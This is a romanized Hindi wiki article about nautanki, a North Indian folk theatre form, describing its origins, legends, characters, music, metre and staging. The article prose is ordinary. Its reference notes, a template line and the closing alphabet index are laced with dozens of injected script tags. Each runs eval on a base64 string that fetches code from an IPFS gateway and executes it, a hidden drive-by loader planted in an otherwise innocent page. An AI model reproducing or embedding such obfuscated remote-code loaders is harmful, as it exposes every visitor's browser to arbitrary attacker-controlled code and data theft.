नौटंकी

The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

thumb|250px|nautanki ki ek jhalak 'svaang' aur 'lila' ke saman hi nautanki bhi lok-naty ka pramukh roop hai. isaka prarambh mugal kal se pahale ka hai. rasalila ke saman isaka rangamanch bhi asthir, kamachalaoo aur niji hota hai. nautanki atyant hi lokapriy aur prabhavashali lokakala hai. yah lokakala janamanas ke man se bhitar tak ju di huee hai. nautanki ko gaanvoan valoan ke lie janakari pradan karane, samajik kuritiyoan se parichit karane aur sasta kiantu svasth manoranjan ka jnanavardhak aur manoranjak sadhan mana jata hai. uttar pradesh ke lagabhag sabhi b de shaharoan - lakhanoo, agara, merath, varanasi, gazipur, jaunapur, ajamagadh, mirzapur, gorakhapur, baliya, mathura adi mean darjanoan nautanki aur thiyetar kampaniyaan thian.

nautanki ka arth

nautanki, svaang, bhagat pray: paryayavachi haian.

bhagat

vastut:bhagat shabd batata hai ki yah kabhi bhakti ki abhivyakti ka madhyam hogi, kintu aj bhagat mean bhakti ka athava dharmik tattv ka sthan usake arambhik anushthanoan mean athava arambhik mangalacharan mean rah gaya hai. arambhik anushthan mean sadharanat: shaktipooja ke avashesh dikhaee p date haian.

svaang

REDIRECTsaancha:mukhy

svaang ke sath vah anushthan bhi nahian, keval arambhik sarasvati vandana milati hai. shesh svaang ka dharmikata se samanyat: koee sambandh nahian rahata. svaang ya bhagat moolat: sangitaroopak hai. isamean yoan to koee bhi prasiddh lokakatha kheli ja sakati hai, par shrriangar ras pradhan athava premagatha ki koti ki rachanaean hi pradhanata pati rahi haian. premalila athava romaanch ka sansparsh kisi n kisi roop mean hona hi chahie.

nautanki

nautanki mean yoan to koee bhi prasiddh lokakatha kheli ja sakati hai kiantu shrriangar ras pradhan athava premagatha ki koti ki rachanaean hi pradhanata pati rahi haian. premalila athava romaanch ka sansparsh kisi n kisi roop mean hona hi chahie. isi ko nautanki bhi kaha jata hai. nautanki moolat: kisi prem kahani keval nau tank taulavali komalaangi nayika hogi. vahi sangit-roopak mean prastut ki gayi aur vah roop aisa prachalit hua ki ab pratyek sangit-roopak ya svaang hi nautanki kaha jane laga hai. bharat muni ne naty shastr mean jis sattak ko natak ka ek bhed mana hai, isake vishay mean jayashankar prasad aur hazari prasad dvivedi ka kahana hai ki sattak nautanki ke dhang ke hi ek tamashe ka nam hai.

svaroop

nautanki mean chhote-chhote balak striyoan ka vesh dharan karate haian aur unaka abhinay kiya karate haian. drishyoan ke abhav mean sootradhar manch par akar drishyoan ke ghatit hone ke sthan evan samay aur patroan ke vishay mean darshakoan ko soochana diya karata hai. inaki kathaoan ka sambandh pauranik akhyanoan se n hokar laukik vir, pranayi, sahasik, bhakt purushoan ke karyoan se hota hai. unhian ka pradarshan inamean kiya jata hai. panjab mean 'gopichand', 'pooran bhakt' aur 'hakikataray' ka sangit atyadhik lokapriy hai. ek or simit matra mean nrity, gayan, kavy path, katha-path, mook abhinay evan hasy ke dhagoan se buni aitihasik, pauranik athava samasamayik vishay par kendrit katha-vastu ki lokashaili mean prastuti, nautanki ki visheshata rahi, to doosari or bhasha, sangit, kastayoom evan charitr ki drishti se hindoo evan muslim sanskriti ka samanvay isaka svaroop. nautanki evan nakal ka svaroop dharmanirapeksh raha to ramalila, rasalila ka dharmik.^[1]

adhunik svaroop

aj nautanki ka roop badala hua hai. isaka rangamanch pray: uthaoo aur sadharan hota hai, jisaka nirman khule maidan mean latthoan, baansoan aur kap doan ki chadaroan se kiya jata hai. darshakoan ke lie door tak chaandani tan di jati hai aur rangabhoomi b de-b de takhtoan se banayi jati hai. pray: ek parade ka vyavahar kiya jata hai, jo abhinetaoan ke rang-bhoomi mean ane par uthata hai aur unake chale jane par girata hai. kabhi-kabhi kary vyapar chalate samay patroan ka pravesh nepathy athava maidan se darshakoan ke bich se hokar ho jata hai. isaka prekshagrih itana b da banaya jata hai ki chaandani ke niche saik doan darshak baith jaean aur n baith sakane par pas ke khule maidan ko upayog mean laya jata hai. ab isamean anek drishy hone lage haian, kintu pratyek drishy ki kary ki soochana sootradhar hi deta hai. vahi prarambh mean lila ya kahani ke lekhak, patr tatha katha adi ke vishay mean darshakoan ko soochana deta hai aur unamean unake prati utsukata tatha jijnasa utpann kar deta hai.

itihas

16vian shatabdi ke prasidhd itihasakar abul phazal ki aine akabari mean nautanki ka ullekh milata hai. yah aitihasik tathy hai ki nautanki namak shahajadi ke nam par, ek git natay shahajadi nautanki ki apar lokapriyata ne is vidha ko nautanki nam diya. kuchh vidvanh yah manate haian ki natak se nataki evan nataki se nautanki nam p da. ek drishtikon yah bhi hai ki isaka tikat nautanki hone ke karan isaka nam nautanki nam p d gaya. kuchh vidvanh yah manate hai ki mathura-vrindavan ke bhagat evan ras evan rajasthan ki khyal lok vidha se hi nautanki ka janm hua. svaang ya sangit evan uttar bharat ki ramalila jaisi any lok vidhaoan ki lokapriyata kam nahian rahi, lekin apane vividh ayami svaroop ke karan nautanki ne jo lokapriyata prapt ki, vah akalpaniy hai. aitihasik drishti se nautanki vidha ke 5 akha de haian. muzaffaranagar, saharanapur, kasaganj, kanapur evan hatharas, kiantu nautanki ke do vishesh akha de hi mahattvapoorn mane jate haian. hatharas, mathura, pashchimi uttar pradesh mean evan kanapur, lakhanoo madhy uttar pradesh mean.^[2]

prasiddh natakakar aur kavi jayashankar prasad aur hazari prasad dvivedi ka manana hai ki 'sattak' nautanki ke bhaanti ek tamashe ka nam hai. prasad ne apane nibandh 'rangamanch' mean nautanki ko natak ka apabhransh mana hai. prasad ka kahana hai ki 'nautanki prachin ragakavy ya gitikavy ki hi smriti hai.'
hazari prasad dvivedi ke matanusar, 'nautanki ka vartaman roop chahe jitana adhunik ho, usaki j dean b di gahari haian.'
ramababoo saksena ne apani pustak 'tarikh-e-adab-e-urdoo' mean likha hai ki 'nautanki lokagitoan aur urdoo kavita ke mishran se panapi hai.'
kalika prasad dikshit 'kusumakar' ka manana hai ki 'nautanki ka janm sanbhavatah gyarahavian-barahavian shatabdi mean hua tha.' 13vian shatabdi mean amir khusaro ke prayatn se nautanki ko age badhane ka avasar mila. khusaro ne apani rachanaoan mean jis bhasha ka prayog kiya hai, vaisi hi bhasha aur unhian ke chhandoan se milate-julate chhandoan ka prayog nautanki mean badhane laga.

kathanak

nautanki ka kathanak pranay, virata, sahasapoorn ghatanaoan se bhara rahata hai. vah kisi lokaprasiddh vir ya sahasi ya bhagavat purush ki jivan katha par avalambit rahata hai.

sanbandhit lokakatha

REDIRECTsaancha:mukhy

[[chitr:Drama-1.jpg|thumb|250px|nautanki, beangalor]] sangit pradhan lokanaty ke nautanki nam ke vishay mean ek lok premakatha prachalit hai. aisa kaha jata hai ki panjab ke syalakot ke raja rajosianh ke chhote bete phoolasianh ne shikar khelakar lautane par bhabhi se pine ke lie pani maanga. bhabhi ne pani dene ke sthan par vyangy kiya - 'jao, multan ki rajakumari nautanki se shadi kar lo.' phoolasianh multan pahuanch gaya aur shahi malin ke dvara nautanki ke pas ek har bhej diya. nautanki ke poochhane par malin ne kah diya- 'mere bhaanje ki vadhoo ne yah har banaya hai.' nautanki ne jab use bhaanje ki vadhoo ko bhejane ke lie kaha, to phoolasianh stri ke vesh mean nautanki ke shayanakaksh mean pahuanch gaya. rat mean sath sone ke kram mean phoolasianh ka yah bhed khul gaya aur aantatah donoan ki shadi ho gee.

patr chitran

nautanki mean anek stri-purush patr hote haian. stri-patroan ka abhinay ya to vivahita ya kumari striyaan karati haian athava veshyaean karati haian. veshyaean drishyant mean manch par akar apane nrity-gan, hav-bhav, mudraoan se janata ka manoranjan karati haian aur nepathy mean abhinetaoan ko roopasajja adi karane ka avakash deti haian.

sangit

rangabhoomi mean ek or gayakoan, vady vadakoan ka samooh bhi rahata hai, jo abhinay, sanvad, nrity ki tivrata, utkatata badhata rahata hai. tabala aur naga de ka vishesh prayog hota hai. tabale ke taloan aur naga de ki choboan ki gooanj rat mean miloan sunaee p dati hai, jisake akarshan se sote hue gramin bhi nautanki dekhane pahuanch jate haian.

hasy aur sanvad sanyojan

ruchi-vaichitry ke samadhan, svad ke parivartan aur shanti vyavastha banaye rakhane ke lie hasyapoorn prasangoan ki yojana rahati hai, jisamean nari-purush ke roop mean patr prahasan prastut karate haian. pray: sanvad padyapradhan hote haian. abhineta manch par darshakoan ki or ja-jakar uttar-pratyuttar detean haian aur prashn karate haian. is prakar sanvad pray: prashnottaratmak hote haian. unamean uttejana, sahas aur darpapoorn ukti ka bahuly aur prem-prasangoan ka adhiky rahata hai. adhikatar kisi vir nayak ko pyar ke phaans mean phansa dikhaya jata hai, jisake karan usaka patan ho jata hai.

upadeshapoorn aant

ant mean parinam upadeshapoorn dikhaya jata hai. 'sultan dakoo' ki nautanki udaharan ke roop mean li ja sakati hai. jahaan bhaktacharit ko dikhaya jata hai, vahaan bhakt ke marg mean anek kathinaiyaan dikhaee jati haian. ant mean usaki vijay pradarshit ki jati hai. yadyapi nautanki ke samapt hone tak uddeshy prakat kar diya jata hai, tathapi sootradhar ant mean phir manch par akar bhalaee karane aur buraee se bachane, saty-dharm ke nibahane ki shiksha deta hai. prakash ki yojana adyant ek saman rahati hai. nautanki ke prarambh hone ka samay rat ke 8 baje se aur samapt hone ka samay prat: paanch baje tak hai. kabhi-kabhi katha ke vistar ya jami huee bhi d ke karan karyakram sooryoday tak chalata rahata hai.

nautanki ke lie uchit samay

pray: nautanki kartik, margashirsh athava chaitr, vaishakh ke mahinoan mean hua karati hai. meloan ke avasaroan par inaka vishesh ayojan hota hai. uttar pradesh ke meloan ka nautanki abhinn aang hoti hai. isake atirikt saptahik bazaroan mean bhi nautanki hoti haian.

prasiddh nautanki

nautanki ki janmasthali uttar pradesh hai. hatharas aur kanapur isake pradhan keandr hai. uttar pradesh ke pashchimi ziloan - farrukhabad, shahajahaanpur, kanapur, eta, itava, mainapuri, merath, saharanapur adi mean isaka vishesh prachar hai. udhar 'chibhuvan-mandali' ki nautanki vishesh prasiddh hai. gvaliyar ki nautanki bhi prakhyat hai. rasamandaliyoan ke sadrish nautanki ki bhi mandaliyaan hoti haian, jo ek sthan se doosare sthanoan par ghoom-ghoomakar nautanki ke pradarshan kiya karati haian. nautanki gramin janata ki natyavrittiyoan ka samadhan karane vale mukhy sadhanoan mean atyadhik mahattvashali hai. is par 'parasi thiyetaroan' tatha 'natakiy rangamanch' ka vishesh prabhav hai. parantu aj chalachitr ke vyapak prasar se isaki vriddhi aur isake prabhav mean antar a gaya hai.

chhand

'nautanki', 'bhagat' athava 'svaang' ka mukhy chhand chaubola hai. is chaubole ke do roop milate haian, ek chhoti tan ka, doosari lambi tan ka. pratyek chaubole ka arambh dohe se hota hai, jisaka antim charan kundaliya ki bhaanti age ke chaubole se kundalit rahata hai.

rangamanch

isake sahakari vadyavrindoan mean 'naga da' anivary hai. bhagat ka rangamanch balliyoan ke stambh banakar adami se ooanchi ba d baandhakar banata hai. ba doan ki ek aisi vithika banayi jati hai, jisake bich mean sthan khali rahata hai. in ba doan par abhineta ek sthan se chalakar charoan aur ghoom ata hai. har or use chaubola duharana p data hai. svaang ka rangamanch sada hota hai. bhoomi se kuchh ooancha ek lambe-chau de takht jaisa charoan or khula hota hai. prasiddh svaangoan mean syahaposh, amarasianh rathaur, pooranamal, harishchandr adi gine jate haian.

bhasha

nautanki ki bhasha mean hiandi, urdoo, lokabhasha evan kshetriy boliyoan ke shabdoan ka adhik prayog hota hai. nautanki ke sanvad gady aur pady donoan mean bole jate haian. patroan ke anusar bhasha ka roop bhinn nahian hota. nautanki ki bhasha lakshanik na hokar saral aur subodh hoti hai. nautanki mean baharetabil, chaubola, doha, lavani, soratha, dau d adi chhandoan ka vishesh roop se prayog kiya jata hai. nautanki ke sangit mean naga de ka vishesh sthan hota hai. isake atirikt dholak, daph aur haramoniyam ka bhi prayog kiya jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hamari lok vidha nautanki (hindi). . abhigaman tithi: 10 faravari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ hamari lok vidha nautanki (hindi). . abhigaman tithi: 10 faravari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dhireandr, varma “bhag- 1 par adharit”, hiandi sahity kosh (hiandi), 357, 358.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

REDIRECT saancha:sahityik shabdavali<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr 